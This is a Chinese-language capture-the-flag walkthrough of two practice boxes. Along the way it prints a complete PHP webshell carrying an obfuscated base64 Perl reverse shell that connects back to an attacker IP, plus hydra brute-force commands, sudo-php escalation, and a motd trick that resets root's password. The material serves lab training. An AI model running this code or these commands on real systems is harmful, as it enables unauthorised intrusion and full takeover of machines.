这个应该算最入门的靶子了
由于靶机和我们的攻击机处于同一个内网环境下,首先ifcongif命令查看本地ip
再用nmap扫描C段
发现一个开着80端口的ip
访问一下,他要本地访问,我们抓包改XFF为127.0.0.1以后是这样的
这里发现一个好用的火狐插件:X-Forwarded-For Header
会在之后的请求中都自动帮我们加这个XFF头
注册一个账号登陆,发现存在水平越权漏洞
alice的账号密码在id=5
可以看到alice的账号密码
alice
4lic3
登陆上了,我们尝试进行ssh连接
执行命令得到flag
gfriEND{2f5f21b2af1b8c3e227bcf35544f8f09}
提权
查看权限
sudo php -r 'system(" /bin/bash"); '提权
搜索第二个flag
find / -name ‘flag*.txt’
成功
纳拉克在印度教中相当于地狱。你和地狱之主本人在坑里。你能用你的黑客技能摆脱纳拉克吗?燃烧的墙壁和恶魔无处不在,即使您值得信赖的工具也会在此任务中背叛您。没有人相信。只要记住逃脱Narak“枚举”的终极咒语。在获得根之后,您确实会同意“地狱不是一个糟糕的地方”。
目标:找到 2 个标志(user.txt 和 root.txt)
老样子,ifconfig查看本地ip,然后nmap扫C段
这里认识到一个kali的基于字典的web目录扫描工具 dirb
dirb http://192.168.111.131/
其中有一个webdav,这是一个web服务
我们可以使用cadaver这个工具进行连接,然后上传webshell
cadaver http://192.168.111.131/webdav //连接
put webshell.php //上传
连接是需要用户名的,我们还不知道
这里又有一个工具叫 cewl ,可以爬取网站相关信息生成一个密码字典
cewl 192.168.111.131 -w 1.txt
之后我们使用Hydra进行爆破,这是一个自动化暴力破解弱密码的工具,是一个支持多协议的爆破工具
hydra -L 1.txt -P 1.txt 192.168.111.131 http-get /webdav //用户名密码都使用1.txt这个字典|ip|协议|路径
结果:
再返回刚刚的cadaver连接,登陆用户名密码
接下来需要上传一个反向webshell,用kali进行监听
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.111.128";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
put webshell.php
监听相应端口
nc -lvvp 4444
我们再通过浏览器访问上传好的webshell,账号密码就是我们刚刚爆破出的
然后就可以执行命令了,可以使用如下命令让他变成交互式窗口
python3 -c 'import pty;pty.spawn("/bin/bash")'
ls /home 查看这个靶机有哪些用户
发现可疑文件,里面有一些编码
BrainFuck解码后:chitragupt
猜测是某个用户的密码,尝试进行ssh连接
成功连接并拿到flag
目前权限并不是root,我们需要尝试进行提权
之前用过一种方式
sudo php -r 'system(" /bin/bash"); '
motd 提权
原理:修改文件 /etc/update-motd.d/00-header
1, 进入到文件夹 /etc/update-motd.d/
2, 修改文件 echo "echo 'root:666'|sudo chpasswd">>00-header
3, 重新登陆
4, su root
这样执行完之后重新登录,就是重新ssh连一遍
密码使我们刚刚修改文件里的东西,刚刚我们设置的密码是666